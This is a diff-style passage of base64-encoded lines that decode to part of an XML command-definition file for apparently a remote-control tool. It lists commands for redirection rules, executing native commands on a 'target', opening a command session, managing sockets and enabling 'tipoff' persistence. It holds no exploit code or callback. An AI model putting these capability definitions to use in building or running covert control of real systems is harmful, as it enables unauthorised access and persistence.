+Pg0KICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0
+ZT4NCiAgICAgICAgPC9pbnZpc2libGVfYXR0cmlidXRlcz4NCiAgICAgIDwvYXR0cmlidXRlcz4N
+CiAgICAgIDxwYXJhbWV0ZXJzPg0KICAgICAgICA8b3B0aW9uYWxfcGFyYW1ldGVycz4NCiAgICAg
+ICAgICA8L29wdGlvbmFsX3BhcmFtZXRlcnM+DQogICAgICA8L3BhcmFtZXRlcnM+DQogICAgICA8
+bmN1cnNlc2xheW91dD4NCiAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4NCiAg
+ICAgICAgICAgIDx0aXRsZT5FbmFibGUgcmVkaXJlY3Rpb248L3RpdGxlPg0KICAgICAgICAgICAg
+PGVsZW1lbnQ+cmVkaXJlY3RfZW5hYmxlX2F0dHJpYl8xPC9lbGVtZW50Pg0KICAgICAgICAgIDwv
+Y29sdW1uPg0KICAgICAgICA8L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAg
+PC9jbWQ+DQogICAgPGNtZCB0aXRsZT0iZGlzYWJsZSI+DQogICAgICA8aGVscHRleHQ+RGlzYWJs
+ZXMgYSByZWRpcmVjdGlvbiBydWxlLjwvaGVscHRleHQ+DQogICAgICA8cHJpbWl0aXZlcz4NCiAg
+ICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPHByaW1pdGl2ZT4weDBDMDAw
+MDEzPC9wcmltaXRpdmU+DQogICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAg
+PG9wdGlvbmFsX3ByaW1pdGl2ZXMvPg0KICAgICAgPC9wcmltaXRpdmVzPg0KICAgICAgPGF0dHJp
+YnV0ZXM+DQogICAgICAgIDxyZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgIDxjb21tYW5k
+X2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD5yZWRpcmVjdF9kaXNhYmxlX2F0dHJp
+Yl8xPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5SdWxlIElEPC9uY3Vyc2Vs
+YWJlbD4NCiAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDx0eXBlPnN0cmlu
+ZzwvdHlwZT4NCiAgICAgICAgICAgICAgPHNpemU+MzI8L3NpemU+DQogICAgICAgICAgICAgIDxw
+cmltaXRpdmU+MHgwQzAwMDAxMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICA8YXJnbnVtYmVy
+PjE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPGtleXdvcmQgdGl0bGU9Ii1hIj4NCiAgICAg
+ICAgICAgICAgICA8dmFsdWU+MDwvdmFsdWU+DQogICAgICAgICAgICAgIDwva2V5d29yZD4NCiAg
+ICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQog
+ICAgICAgIDwvcmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgPG9wdGlvbmFsX2F0dHJpYnV0
+ZXMvPg0KICAgICAgPC9hdHRyaWJ1dGVzPg0KICAgICAgPHBhcmFtZXRlcnM+DQogICAgICAgIDxv
+cHRpb25hbF9wYXJhbWV0ZXJzPg0KICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iZiI+DQogICAg
+ICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAg
+IDxuY3Vyc2VpZD5yZWRpcmVjdF9kaXNhYmxlX2F0dHJpYl8yPC9uY3Vyc2VpZD4NCiAgICAgICAg
+ICAgIDxuY3Vyc2VsYWJlbD5Gb3JjZTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICA8YXR0cmli
+dXRlPg0KICAgICAgICAgICAgICA8dHlwZT5wcmVzZW5jZTwvdHlwZT4NCiAgICAgICAgICAgICAg
+PHNpemU+MTwvc2l6ZT4NCiAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT50cnVlPC9kZWZhdWx0
+dmFsdWU+DQogICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwQzAwMDAxMzwvcHJpbWl0aXZlPg0K
+ICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPGhl
+bHB0ZXh0PkZvcmNlIHRoZSBhY3Rpb24gdG8gb2NjdXIgaW1tZWRpYXRlbHkuPC9oZWxwdGV4dD4N
+CiAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAg
+ICA8L29wdGlvbmFsX3BhcmFtZXRlcnM+DQogICAgICA8L3BhcmFtZXRlcnM+DQogICAgICA8bmN1
+cnNlc2xheW91dD4NCiAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4NCiAgICAg
+ICAgICAgIDx0aXRsZT5EaXNhYmxlIHJlZGlyZWN0aW9uPC90aXRsZT4NCiAgICAgICAgICAgIDxl
+bGVtZW50PnJlZGlyZWN0X2Rpc2FibGVfYXR0cmliXzE8L2VsZW1lbnQ+DQogICAgICAgICAgICA8
+ZWxlbWVudD5yZWRpcmVjdF9kaXNhYmxlX2F0dHJpYl8yPC9lbGVtZW50Pg0KICAgICAgICAgIDwv
+Y29sdW1uPg0KICAgICAgICA8L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAg
+PC9jbWQ+DQogIDwvY21kZ3JwPg0KICA8Y21kZ3JwIHRpdGxlPSJjbWQiPg0KICAgIDxjbWQgdGl0
+bGU9ImV4ZWMiPg0KICAgICAgPGhlbHB0ZXh0PkV4ZWN1dGVzIHRoZSBzcGVjaWZpZWQgY29tbWFu
+ZCwgd2l0aCB0aGUgbmF0aXZlIGRldmljZSBDTEksIG9uIHRoZSBob3N0ZWQgc3lzdGVtLiBOb3Rl
+IHRoYXQgZWFjaCBjb21tYW5kIHBhc3NlZCB0byB0aGUgaG9zdCBpbiB0aGlzIHdheSBleGVjdXRl
+cyBpbiBpc29sYXRpb24sIHNvIGNvbW1hbmQgZXhlYyBjYW5ub3QgYmUgdXNlZCBpbiBjYXNlcyB3
+aGVyZSBhIHNlcmllcyBvZiBuYXRpdmUgY29tbWFuZHMgYXJlIG5lZWRlZCB0byBwZXJmb3JtIGFu
+IGFjdGlvbiBvbiB0aGUgaG9zdC48L2hlbHB0ZXh0Pg0KICAgICAgPHByaW1pdGl2ZXM+DQogICAg
+ICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxwcmltaXRpdmU+MHgwODAwMDAw
+MzwvcHJpbWl0aXZlPg0KICAgICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgIDxv
+cHRpb25hbF9wcmltaXRpdmVzLz4NCiAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgIDxhdHRyaWJ1
+dGVzPg0KICAgICAgICA8cmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgICA8Y29tbWFuZF9h
+dHRyaWJ1dGU+DQogICAgICAgICAgICA8bmN1cnNlaWQ+bmF0aXZlX2NvbW1hbmRfZXhlY19hdHRy
+aWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAgICA8bmN1cnNlbGFiZWw+bmF0aXZlIGNvbW1hbmQ8
+L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPHR5
+cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICA8c2l6ZT4yNTU8L3NpemU+DQogICAgICAg
+ICAgICAgIDxwcmltaXRpdmU+MHgwODAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICA8
+YXJnbnVtYmVyPjE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAg
+ICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgIDwvcmVxdWlyZWRfYXR0cmlidXRlcz4N
+CiAgICAgICAgPG9wdGlvbmFsX2F0dHJpYnV0ZXMvPg0KICAgICAgPC9hdHRyaWJ1dGVzPg0KICAg
+ICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxjb2x1bW4+
+DQogICAgICAgICAgICA8dGl0bGU+RXhlY3V0ZSBjb21tYW5kPC90aXRsZT4NCiAgICAgICAgICAg
+IDxlbGVtZW50Pm5hdGl2ZV9jb21tYW5kX2V4ZWNfYXR0cmliXzE8L2VsZW1lbnQ+DQogICAgICAg
+ICAgPC9jb2x1bW4+DQogICAgICAgIDwvc2VjdGlvbj4NCiAgICAgIDwvbmN1cnNlc2xheW91dD4N
+CiAgICA8L2NtZD4NCiAgICA8Y21kIHRpdGxlPSJzZXNzaW9uIj4NCiAgICAgIDxoZWxwdGV4dD5P
+cGVucyBhIGNvbW1hbmQgc2Vzc2lvbiB0byB0aGUgdGFyZ2V0LiAgVGhlIG1lYW5zIG9mIGV4aXRp
+bmcgdGhpcyBzZXNzaW9uIHNob3VsZCBiZSBzcGVjaWZpZWQgYnkgdGhlIElMTSBhbmQgZGlzcGxh
+eWVkIHRvIHN0ZG91dCB3aGVuIHRoZSBzZXNzaW9uIHN0YXJ0cy48L2hlbHB0ZXh0Pg0KICAgICAg
+PHByaW1pdGl2ZXM+DQogICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxw
+cmltaXRpdmU+MHgwODAwMDAwNDwvcHJpbWl0aXZlPg0KICAgICAgICA8L3JlcXVpcmVkX3ByaW1p
+dGl2ZXM+DQogICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAgICAgIDwvcHJpbWl0aXZl
+cz4NCiAgICAgIDxhdHRyaWJ1dGVzPg0KICAgICAgICA8cmVxdWlyZWRfYXR0cmlidXRlcy8+DQog
+ICAgICAgIDxvcHRpb25hbF9hdHRyaWJ1dGVzLz4NCiAgICAgIDwvYXR0cmlidXRlcz4NCiAgICAg
+IDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICA8Y29sdW1uPg0K
+ICAgICAgICAgICAgPHRpdGxlPkV4ZWN1dGUgY29tbWFuZDwvdGl0bGU+DQogICAgICAgICAgPC9j
+b2x1bW4+DQogICAgICAgIDwvc2VjdGlvbj4NCiAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICA8
+L2NtZD4NCiAgPC9jbWRncnA+DQogIDxjbWRncnAgdGl0bGU9InNvY2tldCI+DQogICAgPGNtZCB0
+aXRsZT0ic2hvdyI+DQogICAgICA8aGVscHRleHQ+TGlzdHMgdGhlIHNvY2tldCBJRHMgZm9yIGFs
+bCB0b29sLWluaXRpYXRlZCBvcGVuIHNvY2tldHMuPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRp
+dmVzPg0KICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZl
+PjB4MEQwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0K
+ICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAg
+ICA8YXR0cmlidXRlcz4NCiAgICAgICAgPGludmlzaWJsZV9hdHRyaWJ1dGVzPg0KICAgICAgICAg
+IDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD5zb2NrZXRfbGlzdF9h
+dHRyaWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAgICA8bmN1cnNlbGFiZWw+U29ja2V0IElEPC9u
+Y3Vyc2VsYWJlbD4NCiAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDx0eXBl
+PnN0cmluZzwvdHlwZT4NCiAgICAgICAgICAgICAgPHNpemU+MzI8L3NpemU+DQogICAgICAgICAg
+ICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICA8cHJpbWl0
+aXZlPjB4MEQwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgPGFyZ251bWJlcj4xPC9h
+cmdudW1iZXI+DQogICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICA8L2NvbW1hbmRf
+YXR0cmlidXRlPg0KICAgICAgICA8L2ludmlzaWJsZV9hdHRyaWJ1dGVzPg0KICAgICAgPC9hdHRy
+aWJ1dGVzPg0KICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAg
+ICAgIDxjb2x1bW4+DQogICAgICAgICAgICA8dGl0bGU+T3BlbiBTb2NrZXRzPC90aXRsZT4NCiAg
+ICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgPC9uY3Vyc2VzbGF5
+b3V0Pg0KICAgIDwvY21kPg0KICAgIDxjbWQgdGl0bGU9InN0YXR1cyI+DQogICAgICA8aGVscHRl
+eHQ+U2hvd3Mgc3RhdGlzdGljcyBhYm91dCB0aGUgc29ja2V0IGNhcGFiaWxpdHkuPC9oZWxwdGV4
+dD4NCiAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAg
+ICAgICAgICA8cHJpbWl0aXZlPjB4MEQwMDAwMDA8L3ByaW1pdGl2ZT4NCiAgICAgICAgPC9yZXF1
+aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAgICA8
+L3ByaW1pdGl2ZXM+DQogICAgICA8YXR0cmlidXRlcz4NCiAgICAgICAgPHJlcXVpcmVkX2F0dHJp
+YnV0ZXMvPg0KICAgICAgICA8b3B0aW9uYWxfYXR0cmlidXRlcy8+DQogICAgICA8L2F0dHJpYnV0
+ZXM+DQogICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAg
+PGNvbHVtbj4NCiAgICAgICAgICAgIDx0aXRsZT5Tb2NrZXQgU3RhdHVzPC90aXRsZT4NCiAgICAg
+ICAgICA8L2NvbHVtbj4NCiAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgPC9uY3Vyc2VzbGF5b3V0
+Pg0KICAgIDwvY21kPg0KICAgIDxjbWQgdGl0bGU9InN0b3JlIj4NCiAgICAgIDxoZWxwdGV4dD5D
+b3BpZXMgdGhlIHNvY2tldCBjYXBhYmlsaXR5IHNldHRpbmdzIGZyb20gdm9sYXRpbGUgbWVtb3J5
+IHRvIHBlcnNpc3RlbnQgbWVtb3J5IG9uIHRoZSB0YXJnZXQuPC9oZWxwdGV4dD4NCiAgICAgIDxw
+cmltaXRpdmVzPg0KICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJp
+bWl0aXZlPjB4MEQwMDAwMDI8L3ByaW1pdGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRp
+dmVzPg0KICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+
+DQogICAgICA8YXR0cmlidXRlcz4NCiAgICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXMvPg0KICAg
+ICAgICA8b3B0aW9uYWxfYXR0cmlidXRlcy8+DQogICAgICA8L2F0dHJpYnV0ZXM+DQogICAgICA8
+bmN1cnNlc2xheW91dD4NCiAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4NCiAg
+ICAgICAgICAgIDx0aXRsZT5Tb2NrZXQgU3RvcmU8L3RpdGxlPg0KICAgICAgICAgIDwvY29sdW1u
+Pg0KICAgICAgICA8L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+
+DQogICAgPGNtZCB0aXRsZT0ibXR1Ij4NCiAgICAgIDxoZWxwdGV4dD5TZXRzIHRoZSBtdHUgb2Yg
+dGhlIHBhc3NlZCBpbiBzb2NrZXQgdG8gdGhlIHBhc3NlZCBpbiB2YWx1ZS48L2hlbHB0ZXh0Pg0K
+ICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAg
+ICAgIDxwcmltaXRpdmU+MHgwRDAwMDAwNTwvcHJpbWl0aXZlPg0KICAgICAgICA8L3JlcXVpcmVk
+X3ByaW1pdGl2ZXM+DQogICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAgICAgIDwvcHJp
+bWl0aXZlcz4NCiAgICAgIDxhdHRyaWJ1dGVzPg0KICAgICAgICA8cmVxdWlyZWRfYXR0cmlidXRl
+cz4NCiAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8bmN1cnNlaWQ+
+c29ja2V0X210dV9hdHRyaWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAgICA8bmN1cnNlbGFiZWw+
+U29ja2V0IElEPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAg
+ICAgICAgIDx0eXBlPnN0cmluZzwvdHlwZT4NCiAgICAgICAgICAgICAgPHNpemU+MzI8L3NpemU+
+DQogICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRDAwMDAwNTwvcHJpbWl0aXZlPg0KICAgICAg
+ICAgICAgICA8YXJnbnVtYmVyPjE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgIDwvYXR0cmlidXRl
+Pg0KICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgPGNvbW1hbmRfYXR0
+cmlidXRlPg0KICAgICAgICAgICAgPG5jdXJzZWlkPnNvY2tldF9tdHVfYXR0cmliXzI8L25jdXJz
+ZWlkPg0KICAgICAgICAgICAgPG5jdXJzZWxhYmVsPk5ldyBNVFU8L25jdXJzZWxhYmVsPg0KICAg
+ICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0K
+ICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgPHByaW1pdGl2ZT4w
+eDBEMDAwMDA1PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgIDxhcmdudW1iZXI+MjwvYXJnbnVt
+YmVyPg0KICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgPC9jb21tYW5kX2F0dHJp
+YnV0ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICA8b3B0aW9uYWxf
+YXR0cmlidXRlcy8+DQogICAgICA8L2F0dHJpYnV0ZXM+DQogICAgICA8bmN1cnNlc2xheW91dD4N
+CiAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgIDx0aXRs
+ZT5Tb2NrZXQgTVRVPC90aXRsZT4NCiAgICAgICAgICAgIDxlbGVtZW50PnNvY2tldF9tdHVfYXR0
+cmliXzE8L2VsZW1lbnQ+DQogICAgICAgICAgICA8ZWxlbWVudD5zb2NrZXRfbXR1X2F0dHJpYl8y
+PC9lbGVtZW50Pg0KICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8L3NlY3Rpb24+DQogICAg
+ICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+DQogICAgPGNtZCB0aXRsZT0iY2xvc2UiPg0K
+ICAgICAgPGhlbHB0ZXh0PkZvcmNpYmx5IGNsb3NlcyB0aGUgc3BlY2lmaWVkIHNvY2tldC4gIFRo
+aXMgY29tbWFuZCBzaG91bGQgb25seSBiZSB1c2VkIGFzIGEgbWFudWFsIG92ZXJyaWRlIGlmIHNv
+bWV0aGluZyBlbHNlIGhhcyBnb25lIHdyb25nLjwvaGVscHRleHQ+DQogICAgICA8cHJpbWl0aXZl
+cz4NCiAgICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPHByaW1pdGl2ZT4w
+eDBEMDAwMDA0PC9wcmltaXRpdmU+DQogICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAg
+ICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXMvPg0KICAgICAgPC9wcmltaXRpdmVzPg0KICAgICAg
+PGF0dHJpYnV0ZXM+DQogICAgICAgIDxyZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgIDxj
+b21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD5zb2NrZXRfZm9yY2VfY2xv
+c2VfYXR0cmliXzE8L25jdXJzZWlkPg0KICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlNvY2tldCBJ
+RDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICA8
+dHlwZT5zdHJpbmc8L3R5cGU+DQogICAgICAgICAgICAgIDxzaXplPjMyPC9zaXplPg0KICAgICAg
+ICAgICAgICA8cHJpbWl0aXZlPjB4MEQwMDAwMDQ8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAg
+PGFyZ251bWJlcj4xPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDxrZXl3b3JkIHRpdGxlPSIt
+YSI+DQogICAgICAgICAgICAgICAgPHZhbHVlPjA8L3ZhbHVlPg0KICAgICAgICAgICAgICA8L2tl
+eXdvcmQ+DQogICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICA8L2NvbW1hbmRfYXR0
+cmlidXRlPg0KICAgICAgICA8L3JlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgIDxvcHRpb25h
+bF9hdHRyaWJ1dGVzLz4NCiAgICAgIDwvYXR0cmlidXRlcz4NCiAgICAgIDxuY3Vyc2VzbGF5b3V0
+Pg0KICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgPHRp
+dGxlPkNsb3NlIFNvY2tldDwvdGl0bGU+DQogICAgICAgICAgICA8ZWxlbWVudD5zb2NrZXRfZm9y
+Y2VfY2xvc2VfYXR0cmliXzE8L2VsZW1lbnQ+DQogICAgICAgICAgPC9jb2x1bW4+DQogICAgICAg
+IDwvc2VjdGlvbj4NCiAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICA8L2NtZD4NCiAgPC9jbWRn
+cnA+DQogIDxjbWRncnAgdGl0bGU9InRpcG9mZiI+DQogICAgPGNtZGdycCB0aXRsZT0icGVyc2lz
+dCI+DQogICAgICA8Y21kIHRpdGxlPSJlbmFibGUiPg0KICAgICAgICA8aGVscHRleHQ+RW5hYmxl
+cyBhIHRpcG9mZiB0byBwZXJzaXN0LjwvaGVscHRleHQ+DQogICAgICAgIDxwcmltaXRpdmVzPg0K
+ICAgICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgICAgPHByaW1pdGl2ZT4w
+eDBFMDAwMDA4PC9wcmltaXRpdmU+DQogICAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0K
+ICAgICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAgICAgICAgPC9wcmltaXRpdmVzPg0K
+ICAgICAgICA8YXR0cmlidXRlcz4NCiAgICAgICAgICA8cmVxdWlyZWRfYXR0cmlidXRlcz4NCiAg
+ICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnRp
+cG9mZl9lbmFibGVfYXR0cmliXzE8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFi
+ZWw+UnVsZSBJRDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAg
+ICAgICAgICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjMy
+PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRTAwMDAwODwvcHJpbWl0aXZl
+Pg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAg
+ICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgIDxvcHRpb25hbF9hdHRyaWJ1dGVz
+Lz4NCiAgICAgICAgPC9hdHRyaWJ1dGVzPg0KICAgICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAg
+ICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDx0aXRs
+ZT5UaXBvZmYgUGVyc2lzdCBFbmFibGU8L3RpdGxlPg0KICAgICAgICAgICAgICA8ZWxlbWVudD50
+aXBvZmZfZW5hYmxlX2F0dHJpYl8xPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQog
+ICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgICA8L2Nt
+ZD4NCiAgICAgIDxjbWQgdGl0bGU9ImRpc2FibGUiPg0KICAgICAgICA8aGVscHRleHQ+RGlzYWJs
+ZXMgdGhlIGFiaWxpdHkgb2YgYSB0aXBvZmYgdG8gcGVyc2lzdC48L2hlbHB0ZXh0Pg0KICAgICAg
+ICA8cHJpbWl0aXZlcz4NCiAgICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAg
+ICAgIDxwcmltaXRpdmU+MHgwRTAwMDAwOTwvcHJpbWl0aXZlPg0KICAgICAgICAgIDwvcmVxdWly
+ZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAgICAg
+IDwvcHJpbWl0aXZlcz4NCiAgICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAgICAgPHJlcXVpcmVk
+X2F0dHJpYnV0ZXM+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAg
+ICAgIDxuY3Vyc2VpZD50aXBvZmZfZGlzYWJsZV9hdHRyaWJfMTwvbmN1cnNlaWQ+DQogICAgICAg
+ICAgICAgIDxuY3Vyc2VsYWJlbD5SdWxlIElEPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAg
+PGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5zdHJpbmc8L3R5cGU+DQogICAgICAg
+ICAgICAgICAgPHNpemU+MzI8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBF
+MDAwMDA5PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xPC9hcmdudW1i
+ZXI+DQogICAgICAgICAgICAgICAgPGtleXdvcmQgdGl0bGU9Ii1hIj4NCiAgICAgICAgICAgICAg
+ICAgIDx2YWx1ZT4wPC92YWx1ZT4NCiAgICAgICAgICAgICAgICA8L2tleXdvcmQ+DQogICAgICAg
+ICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAg
+ICAgICAgICA8L3JlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgPG9wdGlvbmFsX2F0dHJp
+YnV0ZXMvPg0KICAgICAgICA8L2F0dHJpYnV0ZXM+DQogICAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0K
+ICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAg
+PHRpdGxlPlRpcG9mZiBQZXJzaXN0IERpc2FibGU8L3RpdGxlPg0KICAgICAgICAgICAgICA8ZWxl
+bWVudD50aXBvZmZfZGlzYWJsZV9hdHRyaWJfMTwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29s
+dW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4NCiAgICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAg
+ICAgPC9jbWQ+DQogICAgPC9jbWRncnA+DQogICAgPGNtZGdycCB0aXRsZT0icnVsZSI+DQogICAg
+ICA8Y21kIHRpdGxlPSJzaG93Ij4NCiAgICAgICAgPGhlbHB0ZXh0PlJldHVybnMgdGhlIGN1cnJl
+bnQgc2V0dGluZ3Mgb2YgdGhlIFRpcG9mZiBjYXBhYmlsaXR5LiAgTGlzdHMgZmlsdGVycy48L2hl
+bHB0ZXh0Pg0KICAgICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgICA8cmVxdWlyZWRfcHJpbWl0
